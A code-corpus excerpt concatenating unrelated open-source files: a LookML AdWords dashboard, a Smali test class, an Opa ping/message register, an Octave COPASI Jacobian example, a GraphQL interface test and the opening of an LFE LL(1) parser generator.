name: Campaign Stats Total Cost USD
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 819
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 807
- label:
maxValue:
minValue:
orientation: right
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: linear
unpinAxis: false
valueFormat:
series:
- id: master_stats.average_cost_per_conversion
name: Campaign Stats Cost per Conversion
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 837
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 825
series_types:
master_stats.average_cost_per_conversion: line
hidden_series:
- master_stats.total_cost_usd
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 34
col: 0
width: 12
height: 7
- title: Hourly Average Cost per Conversion
name: Hourly Average Cost per Conversion
model: google_adwords
explore: master_stats
type: looker_column
fields:
- master_stats.hour_of_day
- master_stats.total_impressions
- master_stats.total_interactions
- master_stats.average_cost_per_conversion
- master_stats.total_conversions
- master_stats.total_cost_usd
- master_stats.average_interaction_rate
- master_stats.average_conversion_rate
- master_stats.average_cost_per_click
sorts:
- master_stats.hour_of_day
limit: 500
column_limit: 50
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
show_null_points: true
point_style: circle_outline
interpolation: linear
label: Hourly Average Cost per Conversion
series_types:
master_stats.average_cost_per_conversion: line
hidden_fields:
- master_stats.total_impressions
- master_stats.total_interactions
- master_stats.total_cost
- master_stats.average_interaction_rate
- master_stats.average_conversion_rate
- master_stats.average_cost_per_click
y_axes:
- label: ''
maxValue:
minValue:
orientation: left
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: linear
unpinAxis: false
valueFormat:
series:
- id: master_stats.total_conversions
name: Total Conversions
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 921
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 909
- label:
maxValue:
minValue:
orientation: right
showLabels: true
showValues: true
tickDensity: default
tickDensityCustom: 5
type: linear
unpinAxis: false
valueFormat:
series:
- id: master_stats.average_cost_per_conversion
name: Cost per Conversion
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 939
__FILE: google_adwords/campaign_performance.dashboard.lookml
__LINE_NUM: 927
hidden_series:
- master_stats.total_cost_usd
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 34
col: 12
width: 12
height: 7
- title: Campaign Budget Utilization
name: Campaign Budget Utilization
model: google_adwords
explore: campaign_budget_stats
type: looker_column
fields:
- campaign_budget_stats.percent_used_budget_tier
- campaign_budget_stats.total_cost_usd
- campaign_budget_stats._data_week
pivots:
- campaign_budget_stats.percent_used_budget_tier
sorts:
- campaign_budget_stats.percent_used_budget_tier
- campaign_budget_stats._data_week desc
limit: 500
column_limit: 50
label: Campaign Budget Utilization
stacking: normal
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
show_view_names: false
limit_displayed_rows: false
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
show_null_points: true
point_style: none
interpolation: linear
show_row_numbers: true
truncate_column_names: false
hide_totals: false
hide_row_totals: false
table_theme: editable
enable_conditional_formatting: false
conditional_formatting_ignored_fields: []
conditional_formatting_include_totals: false
conditional_formatting_include_nulls: false
series_types: {}
column_spacing_ratio:
colors:
- "#858E93"
- "#416E9A"
- "#BED1E2"
- "#C26B42"
- "#1BD4BC"
series_colors: {}
listen:
Campaign Name: campaign.campaign_name
Date: campaign_budget_stats._data_date
row: 41
col: 0
width: 24
height: 8
- title: Ad group details
name: Ad group details
model: google_adwords
explore: master_stats
type: table
fields:
- ad_group.ad_group_name
- master_stats.total_impressions
- master_stats.total_interactions
- master_stats.total_conversions
- master_stats.total_cost_usd
- master_stats.average_interaction_rate
- master_stats.average_conversion_rate
- master_stats.average_cost_per_click
- master_stats.average_cost_per_conversion
sorts:
- master_stats.total_cost_usd desc
limit: 500
column_limit: 50
label: Ad Group Details
query_timezone: America/Los_Angeles
show_view_names: false
show_row_numbers: true
truncate_column_names: false
hide_totals: false
hide_row_totals: false
table_theme: gray
limit_displayed_rows: false
stacking: ''
show_value_labels: false
label_density: 25
legend_position: center
x_axis_gridlines: false
y_axis_gridlines: true
y_axis_combined: true
show_y_axis_labels: true
show_y_axis_ticks: true
y_axis_tick_density: default
y_axis_tick_density_custom: 5
show_x_axis_label: true
show_x_axis_ticks: true
x_axis_scale: auto
y_axis_scale_mode: linear
ordering: none
show_null_labels: false
show_totals_labels: false
show_silhouette: false
totals_color: "#808080"
series_types: {}
enable_conditional_formatting: false
conditional_formatting_ignored_fields: []
conditional_formatting_include_totals: false
conditional_formatting_include_nulls: false
listen:
Campaign Name: campaign.campaign_name
Date: master_stats._data_date
row: 51
col: 0
width: 24
height: 8
filters:
- name: Campaign Name
title: Campaign Name
type: field_filter
default_value: ''
model: google_adwords
explore: campaign
field: campaign.campaign_name
listens_to_filters:
- Campaign Name
allow_multiple_values: true
required: false
- name: Date
title: Date
type: field_filter
default_value: 2 quarters
model: google_adwords
explore: master_stats
field: master_stats._data_date
listens_to_filters: []
allow_multiple_values: true
required: false
| LookML | 4 | umesh0894/google_adwords | campaign_performance.dashboard.lookml | [
"MIT"
] |
.class public Lother/C;
.super Ltest/A;
.method public a()V
.locals 1
return-void
.end method
| Smali | 1 | Dev-kishan1999/jadx | jadx-core/src/test/smali/others/TestOverridePackagePrivateMethod/C.smali | [
"Apache-2.0"
] |
/*
Copyright © 2011-2013 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#<Ifstatic:OPA_FULL_DISPATCHER>
type PingRegister.msg = RPC.Json.json
@private
type PingRegister.entry =
{ajax:web_info nb:int key:Scheduler.key}
/ {msgs:list(PingRegister.msg)}
@private
type PingRegister.pang_result = {nb:int result:string}
@abstract
type ClientTbl.t('a) = Hashtbl.t(string, 'a)
@server_private
PingRegister = {{
@private
debug = Log.debug("PING", _)
@private
error = Log.error("PING", _)
@package
ClientTbl = {{
@private
hash_client(~{client page}:ThreadContext.client) =
@atomic(String.of_int(page) ^ "_" ^ client)
create() : ClientTbl.t('a) = Hashtbl.create(1024)
add(tbl, client, value) =
Hashtbl.add(tbl, hash_client(client), value)
replace(tbl, client, value) =
Hashtbl.replace(tbl, hash_client(client), value)
remove(tbl, client) =
Hashtbl.remove(tbl, hash_client(client))
try_find(tbl, client) =
Hashtbl.try_find(tbl, hash_client(client))
}}
/**
* This module manages the communications between the server and the clients.
* It handles ping and pang request, buffurize messages sent to client, etc.
*/
@private
Entry = {{
@private
hash_client(~{client page}:ThreadContext.client) =
"{client}_{page}"
@private
entries : ClientTbl.t(PingRegister.entry) =
ClientTbl.create()
@private
pangtbl : ClientTbl.t(list(PingRegister.pang_result)) =
ClientTbl.create()
@private
ping_delay = 30 * 1000
/**
* Associate the [entry] to the [client].
*/
@private
add(client, entry) =
ClientTbl.add(entries, client, entry)
/**
* As add but overwrite the previous association if already exists.
*/
@private
replace(client, entry) =
ClientTbl.replace(entries, client, entry)
/**
* Remove the entry association to the [client]
*/
@private
remove(client) =
ClientTbl.remove(entries, client)
/**
* Add the [nb]th pang [result] to the pang table.
*/
@private
add_pang(client, nb, result) =
@atomic(
match ClientTbl.try_find(pangtbl, client) with
| {none} -> ClientTbl.add(pangtbl, client, [~{result nb}])
| {some = pangs} -> ClientTbl.replace(pangtbl, client, [~{result nb} | pangs])
)
/**
* Send a msg on the [winfo].
*/
@private
send_response(winfo, msg) =
json = match msg with
| ~{pong=_} -> {Record = [("type", {String = "pong"})]}
| ~{break=_} -> {Record = [("type", {String = "break"})]}
| ~{msgs} -> {Record = [("type", {String = "msgs"}),
("body", {List = List.rev(msgs)})]}
| ~{result nb} -> {Record = [("type", {String = "result"}),
("body", {String = result}),
("id" , {Int = nb})]}
WebInfo.simple_reply(winfo, Json.to_string(json), {success})
/**
* Reply a pong to the [pnb]th ping.
*/
@private
pong(client, pnb) =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PONG({pnb}, {client}) sending")
#<End>
match @atomic(
match ClientTbl.try_find(entries, client) with
| {some = ~{ajax nb key=_}} ->
do remove(client)
if pnb == nb then {~ajax pong}
else {}
| _ -> {}
) with
| {~ajax pong} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PONG({pnb}, {client}) really sending")
#<End>
send_response(ajax, {pong})
| {} -> void
/**
* Handles the ping request :
* - reply stored messages if exists
* - hangs the request and program a pong else
*/
@private
iping(crush, client, nb, winfo) =
// Should be programmed only in needed case but is not compatible with
// atomic. Thus we abort on non needed case.
//
// Note : They doesn't have (real) good reason for non atomicity because
// asleep is an atomic cps-bypass. We should have a better @atomic and
// update the following code.
apong =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PONG({nb}, {client}) is programmed")
#<End>
Scheduler.asleep(ping_delay, -> pong(client, nb))
match @atomic(
match ClientTbl.try_find(entries, client) with
| {none} ->
do add(client, {ajax=winfo ~nb key=apong})
{}
| {some = {msgs=[]}} ->
do replace(client, {ajax=winfo ~nb key=apong})
{}
| {some = {msgs=_} as e} ->
do Scheduler.abort(apong)
do remove(client)
e
| {some = {ajax=owinfo nb=onb key=okey}} ->
if crush then
do replace(client, {ajax=winfo ~nb key=apong})
do Scheduler.abort(okey)
{winfo=owinfo break}
else
do Scheduler.abort(apong)
{error already=onb}
) with
| {} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PING({client}) nothing to do, waiting messages")
#<End>
void
| {error ~already} ->
do error("PING({nb}, {client}) not registered PING({already}) already present")
send_response(winfo, {break})
| {~winfo break} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("SEND({client}) break the ping loop")
#<End>
send_response(winfo, {break})
| {msgs=_} as e ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("SEND({client}) flush pending messages {e}")
#<End>
send_response(winfo, e)
/**
* As [iping] plus handles pang mecanism.
*/
ping(crush, client, nb, winfo) =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PING({nb}, {client}) is received")
#<End>
match @atomic(
match ClientTbl.try_find(pangtbl, client) with
| {none}
| {some = []} -> {}
| {some = [pang|pangs]} ->
do ClientTbl.replace(pangtbl, client, pangs)
do match pangs with
| [] -> ClientTbl.remove(pangtbl, client)
| _ -> void
~{winfo pang}
) with
| {} -> iping(crush, client, nb, winfo)
| ~{winfo pang} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PANG({pang.nb}, {client}) return waiting pang")
#<End>
send_response(winfo, @opensums(pang))
/**
* Handles a pang request, it's like a synchronous ping.
*/
pang(client, nb, winfo) =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PANG({nb}, {client}) is received")
#<End>
ping(true, client, nb, winfo)
/**
* Returns the [nb]th pang to the [client]
*/
return(client, nb, result) =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PANG({nb}, {client}) return ")
#<End>
match @atomic(
match ClientTbl.try_find(entries, client) with
| {some = ~{ajax key ...}} ->
do remove(client)
do Scheduler.abort(key)
~{ajax}
| {some = _}
| {none} ->
do add_pang(client, nb, result)
{}
) with
| ~{ajax} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("PANG({nb}, {client}) direct return")
#<End>
send_response(ajax, ~{result nb})
| {} -> void
send(client, msg:PingRegister.msg) =
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("SEND({client}) message {msg}")
#<End>
match @atomic(
match ClientTbl.try_find(entries, client) with
| {some = ~{ajax key ...}} ->
do remove(client)
do Scheduler.abort(key)
~{ajax}
| {some = ~{msgs}} ->
do replace(client, {msgs = [msg | msgs]})
{}
| {none} ->
do add(client, {msgs = [msg]})
{}
) with
| ~{ajax} ->
#<Ifstatic:MLSTATE_PING_DEBUG>
do debug("SEND({client}) really")
#<End>
send_response(ajax, {msgs = [msg]})
| {} -> void
}}
@private @expand
`?|>`(a,f) =
match a with
| {none} -> @fail
| {some = x} -> f(x)
@private
werror(winfo, msg) =
do error(msg)
do WebInfo.simple_reply(winfo,
#<Ifstatic:MLSTATE_PING_DEBUG>msg#<Else>""#<End>,
{bad_request}
)
Scheduler.stop()
send(client, msg) =
do Entry.send(client, msg)
true
parser_(winfo) =
request = winfo.http_request.request
jbody() =
json = Json.of_string(Binary.to_string(Binary.of_iter(%%BslNet.Requestdef.get_bin_body%%(request))))
do if Option.is_none(json) then werror(winfo, "bad formatted json")
json
client(active) =
client = ThreadContext.Client.get_opt({current}) ? werror(winfo, "No client context : {ThreadContext.get_opt({current})}")
do ClientEvent.touch(client, active)
client
parser
| "ping" -> jbody() ?|>
| {Int = nb} ->
client = client(false)
do Entry.ping(nb == 1, client, nb, winfo)
{none}
| json -> werror(winfo, "bad formatted ping : {json}")
end
| "pang" -> jbody() ?|>
| {Record = [("ping", {Int = nb}),
("uri", {String = uri}),
("body", {String = body}),
]} ->
client = client(true)
do Entry.pang(client, nb, winfo)
body = Iter.cons(Binary.of_string(body), Iter.empty)
(request, cont) = %%BslNet.Requestdef.request_with_cont%%(request, uri, body, Entry.return(client, nb, _))
{some = {winfo with http_request.request = request ~cont}}
| {Int = nb} ->
client = client(false)
do Entry.pang(client, nb, winfo)
{none}
| json -> werror(winfo, "bad formatted json : {json}")
end
}}
#<End>
| Opa | 5 | Machiaweliczny/oppailang | lib/stdlib/core/rpc/core/ping_register.opa | [
"MIT"
] |
%
% This is an example on how to calculate and output the Jacobian matrix
% in COPASI
%
COPASI
MODEL_STRING = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <!-- Created by COPASI version 4.5.31 (Debug) on 2010-05-11 13:40 with libSBML version 4.1.0-b3. -->\n <sbml xmlns=\"http://www.sbml.org/sbml/level2/version4\" level=\"2\" version=\"4\">\n <model metaid=\"COPASI1\" id=\"Model_1\" name=\"New Model\">\n <listOfUnitDefinitions>\n <unitDefinition id=\"volume\" name=\"volume\">\n <listOfUnits>\n <unit kind=\"litre\" scale=\"-3\"/>\n </listOfUnits>\n </unitDefinition>\n <unitDefinition id=\"substance\" name=\"substance\">\n <listOfUnits>\n <unit kind=\"mole\" scale=\"-3\"/>\n </listOfUnits>\n </unitDefinition>\n <unitDefinition id=\"unit_0\">\n <listOfUnits>\n <unit kind=\"second\" exponent=\"-1\"/>\n </listOfUnits>\n </unitDefinition>\n </listOfUnitDefinitions>\n <listOfCompartments>\n <compartment id=\"compartment_1\" name=\"compartment\" size=\"1\"/>\n </listOfCompartments>\n <listOfSpecies>\n <species metaid=\"COPASI2\" id=\"species_1\" name=\"A\" compartment=\"compartment_1\" initialConcentration=\"1\"/>\n <species metaid=\"COPASI3\" id=\"species_2\" name=\"B\" compartment=\"compartment_1\" initialConcentration=\"0\"/>\n <species metaid=\"COPASI4\" id=\"species_3\" name=\"C\" compartment=\"compartment_1\" initialConcentration=\"0\"/>\n </listOfSpecies>\n <listOfReactions>\n <reaction metaid=\"COPASI5\" id=\"reaction_1\" name=\"reaction_1\" reversible=\"false\">\n <listOfReactants>\n <speciesReference species=\"species_1\"/>\n </listOfReactants>\n <listOfProducts>\n <speciesReference species=\"species_2\"/>\n </listOfProducts>\n <kineticLaw>\n <math xmlns=\"http://www.w3.org/1998/Math/MathML\">\n <apply>\n <times/>\n <ci> compartment_1 </ci>\n <ci> k1 </ci>\n <ci> species_1 </ci>\n </apply>\n </math>\n <listOfParameters>\n <parameter id=\"k1\" name=\"k1\" value=\"0.2\" units=\"unit_0\"/>\n </listOfParameters>\n </kineticLaw>\n </reaction>\n <reaction metaid=\"COPASI6\" id=\"reaction_2\" name=\"reaction_2\" reversible=\"false\">\n <listOfReactants>\n <speciesReference species=\"species_2\"/>\n </listOfReactants>\n <listOfProducts>\n <speciesReference species=\"species_3\"/>\n </listOfProducts>\n <kineticLaw>\n <math xmlns=\"http://www.w3.org/1998/Math/MathML\">\n <apply>\n <times/>\n <ci> compartment_1 </ci>\n <ci> k1 </ci>\n <ci> species_2 </ci>\n </apply>\n </math>\n <listOfParameters>\n <parameter id=\"k1\" name=\"k1\" value=\"0.1\" units=\"unit_0\"/>\n </listOfParameters>\n </kineticLaw>\n </reaction>\n </listOfReactions>\n </model>\n </sbml>\n";
%!assert( swig_this(CRootContainer.getRoot()) != 0);
% create a new datamodel
dataModel = CRootContainer.addDatamodel();
%!assert( swig_this(dataModel) != 0);
%!assert( CRootContainer.getDatamodelList().size() == 1);
% next we import a simple SBML model from a string
% clear the message queue so that we only have error messages from the import in the queue
CCopasiMessage.clearDeque();
result=true;
try
result = dataModel.importSBMLFromString(MODEL_STRING);
catch
error("Import of model failed miserably.\n");
quit(1);
end_try_catch
% check if the import was successful
mostSevere = CCopasiMessage.getHighestSeverity();
% if it was a filtered error, we convert it to an unfiltered type
% the filtered error messages have the same value as the unfiltered, but they
% have the 7th bit set which basically adds 128 to the value
mostSevere = bitand(mostSevere, 127);
% we assume that the import succeeded if the return value is true and
% the most severe error message is not an error or an exception
if ((result != true) && (mostSevere < CCopasiMessage_ERROR))
error("Sorry. Model could not be imported.\n");
quit(1);
endif
%
% now we tell the model object to calculate the jacobian
%
model = dataModel.getModel();
%!assert( swig_this(model) != 0);
if swig_this(model) != 0
% running a task, e.g. a trajectory will automatically make sure that
% the initial values are transferred to the current state before the calculation begins.
% If we use low level calculation methods like the one to calculate the jacobian, we
% have to make sure the the initial values are applied to the state
model.applyInitialValues();
% we need an array that stores the result
% the size of the matrix does not really matter because
% the calculateJacobian autoamtically resizes it to the correct
% size
jacobian=FloatMatrix();
% the first parameter to the calculation function is a reference to
% the matrix where the result is to be stored
% the second parameter is the derivationFactor for the calculation
% it basically represents a relative delta value for the calculation of the derivatives
% the third parameter termed resolution in the C++ API is currently ignores
% so it does not matter what value you give here.
model.getMathContainer().calculateJacobian(jacobian, 1e-12, false);
% now we print the result
% the jacobian stores the values in the order they are
% given in the user order in the state template so it is not really straight
% forward to find out which column/row corresponds to which species
stateTemplate = model.getStateTemplate();
% and we need the user order
userOrder = stateTemplate.getUserOrder();
% from those two, we can construct an new vector that contains
% the names of the entities in the jacobian in the order in which they appear in
% the jacobian
nameVector={};
entity = 0;
status=-1;
for i = 0:userOrder.size()-1
entity = stateTemplate.getEntity(userOrder.get(i));
%!assert( swig_this(entity) != 0);
% now we need to check if the entity is actually
% determined by an ODE or a reaction
status = entity.getStatus();
if ((status == CModelEntity_Status_ODE) || (status == CModelEntity_Status_REACTIONS && entity.isUsed()))
nameVector{length(nameVector)+1} = entity.getObjectName();
endif
endfor
%!assert( length(nameVector) == jacobian.numRows());
% now we printf(the matrix, for this we assume that no);
% entity name is longer then 5 character which is a save bet since
% we know the model
printf("Jacobian Matrix:\n");
printf("\n");
printf("%7s", " ");
for i = 1:length(nameVector)
printf("%7s", nameVector{i});
endfor
printf("\n");
for i = 1:length(nameVector)
printf("%7s", nameVector{i});
for j = 1:length(nameVector)
printf("%7.3f", jacobian.get(i-1,j-1));
endfor
printf("\n");
endfor
% we can also calculate the jacobian of the reduced system
% in a similar way
model.getMathContainer().calculateJacobian(jacobian, 1e-12, true);
% this time generating the output is actually simpler because the rows
% and columns are ordered in the same way as the independent variables of the state temple
printf("\n");
printf("\n");
printf("Reduced Jacobian Matrix:\n");
printf("\n");
printf("%7s", " ");
iMax = stateTemplate.getNumIndependent();
for i = 0:iMax-1
printf("%7s", stateTemplate.getIndependent(i).getObjectName());
endfor
printf("\n");
for i = 0:iMax-1
printf("%7s", stateTemplate.getIndependent(i).getObjectName());
for j = 0:iMax-1
printf("%7.3f", jacobian.get(i,j));
endfor
printf("\n");
endfor
endif
| Octave | 5 | SzVarga/COPASI | copasi/bindings/octave/examples/example8.oct | [
"Artistic-2.0"
] |
# https://github.com/graphql/graphql-spec/blob/master/spec/Section%203%20--%20Type%20System.md#interfaces
interface Actor {
id: ID
name: String
}
interface Resource implements Node
{
id: ID!
url: String
}
interface Resource implements
Node {
id: ID!
url: String
}
interface Image implements Resource
& Node {
id: ID!
url: String
thumbnail: String
}
interface Node implements Named &
Node {
id: ID!
name: String
}
interface Named implements
Node & Named {
id: ID!
name: String
}
# `InterfaceTypeExtension`
extend interface Bar implements
A, B & C {
two(argument: InputType!): Type
}
| GraphQL | 3 | mikoscz/prettier | tests/graphql/interface/interface.graphql | [
"MIT"
] |
;; Copyright (c) 2009-2015 Robert Virding
;;
;; Licensed under the Apache License, Version 2.0 (the "License");
;; you may not use this file except in compliance with the License.
;; You may obtain a copy of the License at
;;
;; http://www.apache.org/licenses/LICENSE-2.0
;;
;; Unless required by applicable law or agreed to in writing, software
;; distributed under the License is distributed on an "AS IS" BASIS,
;; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
;; See the License for the specific language governing permissions and
;; limitations under the License.
;; File : lspell1.lfe
;; Author : Robert Virding
;; Purpose : A simple LL(1) parser generator.
(defmodule lspell1
(export all))
(defrecord spell1
(base "")
(gdir ".") ;Grammar directory
(gfile "") ;Grammar file
(odir ".") ;Output directory
(lfile "") ;LFE file
(ifile "") ;Include file
(lfe-code 'none) ;LFE code starts here
(module ()) ;The module name
(rules ())
(gram 'none)
(opts ())
(errors ())
(warnings ()))
;; Errors and warnings.
(defun format_error
(['bad_declaration] "unknown or bad declaration"))
(defmacro DEFAULT-OPTS () `'(report verbose))
(defmacro INCLUDE-FILE () "spell1inc.lfe")
;; file(FileName [, Options]) -> Result.
;; Generate a parser from the grammar defined in FileName.
(defun file (file) (file file (DEFAULT-OPTS)))
(defun file (file opts)
(let* ((ifun (lambda ()
(let ((ret (try
(internal file opts)
(catch
((tuple 'error reason _)
(let ((st (erlang:get_stacktrace)))
`#(error #(,reason ,st))))))))
(exit ret))))
((tuple pid ref) (spawn_monitor ifun)))
(receive
((tuple DOWN r _ p res) (when (and (=:= r ref) (=:= p pid)))
res))))
(defun internal (file opts)
(let* ((st0 (make-spell1 gram (spell1_core:init_grammar opts)
opts opts))
(st1 (filenames file st0)))
(case (do-passes (passes) st1)
((tuple 'ok st2) (do-ok-return st2))
((tuple 'error st2) (do-error-return st2)))))
;; filenames(File, State) -> State.
;; The default output dir is the current directory unless an
;; explicit one has been given in the options.
(defun filenames (file st)
;; Test for explicit outdir.
(let* ((odir (outdir (spell1-opts st)))
(dir (filename:dirname file))
(base (filename:basename file ".spell1"))
(gfile (filename:join dir (++ base ".spell1")))
(lfile (++ base ".lfe"))
(ifile (includefile (spell1-opts st)))
(module (list_to_atom base)))
(set-spell1 st
base base
gdir dir
gfile gfile
odir odir
lfile (filename:join odir lfile)
ifile ifile
module module)))
(defun outdir (opts) (find-opt 'outdir opts "."))
(defun includefile (opts) (find-opt 'includefile opts (INCLUDE-FILE)))
(defun find-opt
([opt (cons (tuple o val) _) def] (when (=:= opt o)) val)
([opt (cons (list o val) _) def] (when (=:= opt o)) val)
([opt (cons _ opts) def] (find-opt opt opts def))
([opt () def] def)) ;The default
(defun do-passes
([(cons (tuple 'do fun) ps) st0]
;; (lfe_io:format "dp: ~p\n" (list (tuple fun st0)))
(case (funcall fun st0)
((tuple 'ok st1) (do-passes ps st1))
((tuple 'error st1) (tuple 'error st1))))
([() st] (tuple 'ok st))) ;Got to the end, everything ok
(defun passes ()
(list (tuple 'do #'parse-grammar/1)
(tuple 'do #'extract-grammar/1)
(tuple 'do #'make-grammar/1)
(tuple 'do #'output-file/1)
(tuple 'do #'noop/1)))
(defmacro when-opt
((list* o os body)
`(if (lists:member ,o ,os) (progn ,@body) 'ok)))
(defun do-ok-return (st)
(let (((match-spell1 gfile gfile gram g opts opts warnings ws) st))
(when-opt 'debug opts (spell1_core:dump_tables g))
(when-opt 'report opts (list-warnings gfile ws))
;; Fix the right return.
(case (lists:member 'return opts)
('true (tuple 'ok (return-errors gfile ws)))
('false 'ok))))
(defun do-error-return (st)
(let (((match-spell1 gfile gfile opts opts errors es warnings ws) st))
(when-opt 'report opts (list-errors gfile es))
(when-opt 'report opts (list-warnings gfile ws))
;; Fix the right return.
(case (lists:member 'return opts)
('true (tuple 'error (return-errors gfile es) (return-errors gfile ws)))
('false 'error))))
(defun return-errors
([_ ()] ())
([gfile es] (list (tuple gfile es))))
(defun list-warnings (f ws)
(let ((wfun (match-lambda
([(tuple line mod warn)]
(let ((cs (call mod 'format_error warn)))
(lfe_io:format1 "~s:~w: Warning: ~s\n" (list f line cs)))))))
(lists:foreach wfun ws)))
(defun list-errors (f es)
(let ((efun (match-lambda
([(tuple line mod error)]
(let ((cs (call mod 'format_error error)))
(lfe_io:format1 "~s:~w: ~s\n" (list f line cs)))))))
(lists:foreach efun es)))
;; add_error(Line, E, St) -> add_error(Line, ?MODULE, E, St).
(defun add-error (line mod e st)
(add-error (tuple line mod e) st))
(defun add-error (et st)
(set-spell1-errors st (++ (spell1-errors st) (list et))))
(defun add-warning (line w st)
(add-warning line (MODULE) w st))
(defun add-warning (line mod w st)
(let ((wt (tuple line mod w)))
(set-spell1-warnings st (++ (spell1-warnings st) (list wt)))))
;; The passes.
(defun noop (st) (tuple 'ok st)) ;Dummy pass
;; parse_grammar(State) -> {ok,State} | {error,State}.
;; Read in the grammar file. We keep reading till the end or until we
;; read a line "lfe-code" when we store the line number and then
;; we close the file.
(defun parse-grammar (st)
(case (lfe_io:parse_file (spell1-gfile st))
((tuple 'ok forms)
(parse-grammar forms st))
((tuple 'error e)
(tuple 'error (add-error e st)))))
(defun parse-grammar
([(cons (tuple 'lfe-code line) _) st]
(tuple 'ok (set-spell1-lfe-code st (+ line 1))))
([(cons f fs) st0]
(let ((st1 (set-spell1-rules st0 (++ (spell1-rules st0) (list f)))))
(parse-grammar fs st1)))
([() st] (tuple 'ok st)))
;; extract_grammar(State) -> {ok,State} | {error,State}.
;; Extract the relevant g forms from the grammar file. For unknown
;; declarations we just issue a warning then ignore them.
(defun extract-grammar (st0)
(let* (((match-spell1 rules rs gram g0) st0)
(efun (match-lambda
([(tuple (list* 'rule name ss ts) l) (tuple g st)]
(tuple (spell1_core:add_rule l name ss ts g) st))
([(tuple (cons 'terminals ts) l) (tuple g st)]
(tuple (spell1_core:add_terminals ts g) st))
([(tuple (cons 'non-terminals nts) l) (tuple g st)]
(tuple (spell1_core:add_non_terminals nts g) st))
([(tuple (list 'root-symbol root) l) (tuple g st)]
(tuple (spell1_core:add_root root g) st))
([(tuple _ l) (tuple g st)]
(tuple g (add-warning l 'bad-declaration st)))))
((tuple g1 st1) (lists:foldl efun (tuple g0 st0) rs)))
(tuple 'ok (set-spell1-gram st1 g1))))
;; make_grammar(State) -> {ok,State} | {error,State}.
;; Make the grammar.
(defun make-grammar (st)
(let (((match-spell1 gram g0 errors es warnings ws) st))
(case (spell1_core:make_grammar g0)
((tuple 'ok g1 gws)
(tuple 'ok (set-spell1 st gram g1 warnings (++ ws gws))))
((tuple 'error ges gws)
(tuple 'error (set-spell1 st errors (++ es ges) warnings (++ ws gws)))))))
(defun output-file
([(= (match-spell1 lfile lfile ifile ifile) st0)]
(let* (((tuple 'ok inc) (file:open ifile '(read)))
((tuple 'ok out) (file:open lfile '(write)))
(st1 (output-file inc out st0 1)))
(file:close inc)
(file:close out)
(if (=:= (spell1-errors st1) ())
(tuple 'ok st1)
(tuple 'error st1)))))
(defun output-file (inc out st l)
(case (io:get_line inc 'spell1)
('eof st)
((tuple 'error e) (add-error e st))
(line
(case line
((++* "##module" _) (output-module out st))
((++* "##code" _) (output-user-code out st))
((++* "##entry" _) (output-entry out st))
((++* "##table" _) (output-table out st))
((++* "##reduce" _) (output-reduce out st))
(_ (io:put_chars out line)))
(output-file inc out st (+ l 1)))))
(defun output-module (out st)
(let ((r (spell1_core:get_root (spell1-gram st))))
(lfe_io:format out "(defmodule ~p\n" (list (spell1-module st)))
(lfe_io:format out " (export (~p 1) (~p 2)))\n" (list r r))))
(defun output-user-code
([_ (match-spell1 lfe-code 'none)] 'ok)
([out (match-spell1 gfile gfile lfe-code eline)]
(let (((tuple 'ok in) (file:open gfile '(read))))
(skip-lines in eline)
(output-lines in out)
(file:close in))))
(defun skip-lines
([in l] (when (> l 0))
(case (io:get_line in 'spell1)
('eof 'ok)
((tuple 'error _) 'ok)
